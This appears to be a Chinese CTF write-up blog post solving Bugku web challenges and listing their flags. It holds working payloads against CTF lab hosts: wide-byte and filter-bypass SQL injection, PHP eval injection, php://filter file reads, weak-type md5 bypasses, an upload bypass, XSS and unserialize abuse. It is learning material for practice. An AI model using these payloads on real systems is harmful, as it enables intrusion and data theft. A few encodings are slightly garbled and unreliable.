0x00:序

人生总是不断的开坑,然后不断的弃坑XD (争取填完坑吧

0x01: web2

web签到题,flag就在源代码里

flag:KEY{Web-2-bugKssNNikls9100}

0x02: 文件上传测试

上传一个.php文件,抓包修改Content-Type: image/jpeg

flag:Flag:42e97d465f962c53df9549377b513c7e

0x03: 计算器

前端js限制了最大长度为1,F12直接修改就行

flag:flag{CTF-bugku-0032}

0x04: web基础$_GET

用Get传入参数?what=flag即可回显flag
源码:

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

flag:flag{bugku_get_su8kej2en}

0x05: web基础$_POST

跟上一题差不多,把get改成post就行

flag: flag{bugku_get_ssseint67se}

0x06: 矛盾

先看一下源码:

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

传入一个参数num,is_numeric判断参数是否为数字,但是下面又需要num==1,这里看似有矛盾,其实用弱类型比较就可以绕过
传入num=1e,然后这里一开始num的类型是字符串,但是在下面比较的时候变量会进行隐式转换,num会转换成int也就相当于1,这也就是常说的PHP弱类型.

flag:flag{bugku-789-ps-ssdf}

0x07: web3

访问网站就能看到一大堆的弹窗说flag就在这里,有两种解法

  1. 直接按住回车,等所有弹窗弹完之后网页源代码就有一串html注释,是unicode编码,解码一下就是flag
  2. 抓包,发现http请求头有一个If-Modified-Since,把这个字段删除后就能看到源码.如果不删的话抓包重放返回的是304,原因是因为http缓存.

If-Modified-Since是标准的HTTP请求头标签,在发送HTTP请求时,把浏览器端缓存页面的最后修改时间一起发到服务器去,服务器会把这个时间与服务器上实际文件的最后修改时间进行比较。

如果时间一致,那么返回HTTP状态码304(不返回文件内容),客户端接到之后,就直接把本地缓存文件显示到浏览器中。

如果时间不一致,就返回HTTP状态码200和新的文件内容,客户端接到之后,会丢弃旧文件,把新文件缓存起来,并显示到浏览器中。

flag:KEY{J2sa42ahJK-HS11III}

0x08: sql注入

测试发现?id=1 和?id=1' 的回显是一样的,可能是'被转义了,尝试使用宽字节注入?id=1%df' 发现有报错 确认是宽字节注入
查数据的payload:

?id=1%df%27%20union%20select%20*%20from%20sql5.key%23

flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}

0x09: 域名解析

题目描述:听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag
这里就是利用HTTP协议的Host字段
用chrome的插件Modify Headers添加字段 Host:flag.bugku.com 然后访问120.24.86.145就能获得flag

flag:KEY{DSAHDSJ82HDS2211}

0x0A: SQL注入1

题目给了waf代码:

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
    if (substr_count($id, $value) > 0)
    {
        exit('包含敏感关键字!'.$value);
    }
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

可以看出过滤了挺多关键词,往下看 有一个xss过滤 strip_tags,作用是去除HTML、XML 以及 PHP 的标签,也就是<>会被删除,
这时候 sele<>ct ==select是等价的.
直接给查数据的payload

http://103.238.227.13:10087/?id=0%20Un%3C%3EIon%20Selec%3C%3Et%20hash,2%20fr%3C%3Eom%20sql3.key%20where%20id=1%23

flag:KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

0X0B: 你必须让他停下

题目就是一个js在不断的刷新,只要抓包一直重放就能看到flag

flag:flag{dummy_game_1s_s0_popular}

0X0C: 本地包含

题目源码:

<?php 
    include "flag.php"; 
    $a = @$_REQUEST['hello']; 
    eval( "var_dump($a);"); 
    show_source(__FILE__); 
?>

这道题就是让你读flag.php的内容,传入的参数为hello 用eval函数把传入的参数当成php代码执行,所以直接传入

?hello=file_get_contents('./flag.php')

就可以看到flag.php源码

flag:flag{bug-ctf-gg-99}

0x0D: 变量1

首先看一下源码:

flag In the variable ! 
<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}

源码对传入的参数args进行正则匹配,过滤非数字,字母,下划线,所以就不能跟上题一样执行命令了.
然后看到下面eval("var_dump($$args);"); 主要看$$args,结合题目提示flag在变量里面,这时候可以传入GLOBALS,就相当于eval($GLOBALS); 而$GLOBALS就是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

flag:flag{92853051ab894a64f7865cf3c2128b34}

0X0E: web5

题目描述:JSPFUCK??????答案格式CTF{}
查看源码 发现一大堆([][(![]+[])[+[]) 可以想到是JSFUCK,直接全部复制到浏览器控制台运行即可得到flag

flag:ctf{whatfk}

0X0F:头等舱

访问网页发现什么也没有,抓包查看,发现flag就在响应包的头部.

flag:flag{Bugku_k8_23s_istra}

0X10: web4

题目提示查看源码,打开之后可以看到有一个是url编码的js代码,解码之后可以得到一串js代码,具体逻辑大概就是

var p1 = "67d709b2b"
var p2 = "aa648cf6e87a7114f1"
eval(unescape(p1) + unescape('54aa2' + p2));

所以把p1,'54aa2',p2拼才一起提交就有flag了.

flag:KEY{J22JK-HS11}

0x11:flag在index里

观察url,http://120.24.86.145:8005/post/index.php?file=show.php,尝试使用php伪协议读取index源码

http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php

发现成功回显,把base解密一下即可得到flag.

flag:flag{edulcni_elif_lacol_si_siht}

0x12:输入密码查看flag

题目提示输入五位密码查看flag,直接使用burpsuite的intruder爆破模块进行爆破,密码为13579.

flag:flag{bugku-baopo-hah}

0x13:点击一百万次

直接看源码里面的js代码.

          if(clicks >= 1000000){
              var form = $('<form action="" method="post">' +
                        '<input type="text" name="clicks" value="' + clicks + '" hidden/>' +

可以看到如果clicks大于1000000,他就会把clicks post出去,所以直接模拟post请求就可以得到flag.

flagk:flag{Not_C00kI3Cl1ck3r}

0x14:备份是个好习惯

结合题目提示,猜测有源码泄露,访问index.php.bak直接把源码下载下来进行审计.下面是部分关键代码

<?php
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo $key1;
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

第二行获取了url问号后的全部字符串,比如传入的是localhost:/index.php?key=sheldon,得到的结果是$str="?key=sheldon".
第三行去除掉问号,第四行把'key'替换成空,parse_str() 函数把查询字符串解析到变量中。
当你传入?key1=a&key2=b的时候 经过过滤会变成 1=a&2=b 此时可以采用双写绕过,传入?kekeyy1=a&?keleyy2=b,经过过滤后会得到 key1=a&key2=b.
下面的比较md5比较函数就是典型的php弱类型绕过,输入两个md5值为0e开头的字符串即可绕过

payload:http://120.24.86.145:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=s155964671a

flag:Bugku{OH_YOU_FIND_MY_MOMY}

0x15:成绩单

题目连接挂了


0x16:秋名山老司机

题目要求计算值,并且在两秒之内把计算的结果post上去,写一段脚本就行了

import requests
from bs4 import BeautifulSoup
r = requests.session()
url = "http://120.24.86.145:8002/qiumingshan/"
re = r.get(url=url)
soup = BeautifulSoup(re.content, "html.parser")
math = soup.find('div').string[:-3]
ans = eval(math)
data = {"value": ans}
re = r.post(url=url, data=data)
print re.text

在写wp的时候后端又出问题了 flag不出来..


0x17:速度要快

题目提示在源代码里面,<!-- OK ,now you have to post the margin what you find -->
然后查看一下http响应头,发现里面有flag字段,值为base64,解出来后为跑的还不错,给你flag吧: NjgyMjAy发现后面的字母可以再次进行base64解密,所以需要对第一次结果进行切片,附上脚本:

import requests
import base64
r = requests.session()
url = "http://120.24.86.145:8002/web6/"
re = r.get(url=url)
flag=re.headers['flag']
flag=base64.b64decode(base64.b64decode(flag)[-8:])
data={
    'margin':flag
}
print r.post(url=url,data=data).text

0x18:cookies欺骗

访问链接,发现题目get参数很奇怪,filename=a2V5cy50eHQ=发现Base64解码后为keys.txt,尝试读取index.php 发现只返回了第一行,应该由前面的line控制,编写脚本读取index源码.

import requests
code = ""
for i in range(50):
    url = "http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw"% i
    content=requests.post(url=url,data=data).text
    code+=content
print code

得到index.php源码:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

分析源码,发现只要cookie有一个margin=margin就可以读取keys.php文件得到flag

flag:KEY{key_keys}

0x19:XSS

通过传入参数?id=1发现前端可以回显传入的内容,开始xss fuzz测试,发现只转义了<>采用unicode编码绕过

\u00c3 == <  
\u003e == >

payload:view-source:http://103.238.227.13:10089/?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e

0x1A:never give up

查看源代码,发现提示1p.html,直接访问发现会跳转到bugku的首页,查看1p.html的源代码,发现有一段编码后的js,解码后得到:

";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}


?>

发现存在f4l2a3g.txt文件,直接访问即可得到flag

flag:flag{tHis_iS_THe_fLaG}

0x1B:welcome to bugkuctf

查看html源码发现存在一段代码:

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

首先第一步需要达到file_get_contents($user,'r')==="welcome to the bugkuctf") 这里可以使用php://input协议绕过,
然后post welcome to the bugkuctf可以发现回显已经变了.
1.jpg
接着尝试使用php://filter读取源码,解base64后分析一下重要部分的代码:
2.jpg
首先是hint.php的代码:

<?php  
  
class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  

可以看出里面存的是一个Flag类,再看一下index.php的代码

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  

可以发现$password = unserialize($password);这一行将password反序列化,结合上面的flag类可以看出是要我们重构flag类读取flag.php的内容,所以要把Hint.php给包含进来.
下面直接给payload:
3.jpg

flag:flag{php_is_the_best_language} 

0x1C:md5 collision(NUPT_CTF)

南邮CTF的原题,题目给了源码

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

要求输入两个md5值一样,但是字符串不一样的值,但是因为他比较使用的是==,所以可以通过md5值为0e开头的字符串绕过,因为php在处理==的时候当碰到的字符串有一边为0e开头的就把这串字符串认为是科学计数法,所以就是0,所以可以通过另一个md5值也是0e开头的字符串进行绕过.

?md5.php?a=s878926199a
flag:flag{md5_collision_is_easy}

0x1D:web8

先看一下代码:

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

要求ac和f相等,并且可以看到extract($_GET),这个的作用就是就是把$_GET数组的键子对赋值,比如$_GET['a']=1,经过函数处理之后$a=1,默认如果变量已经存在则覆盖变量原来的值,file_get_contents($fn)可以使用php://input协议达到$ac=$f.
payload:
QQ截图20180704171249.jpg

flag:flag{3cfb7a90fc0de31}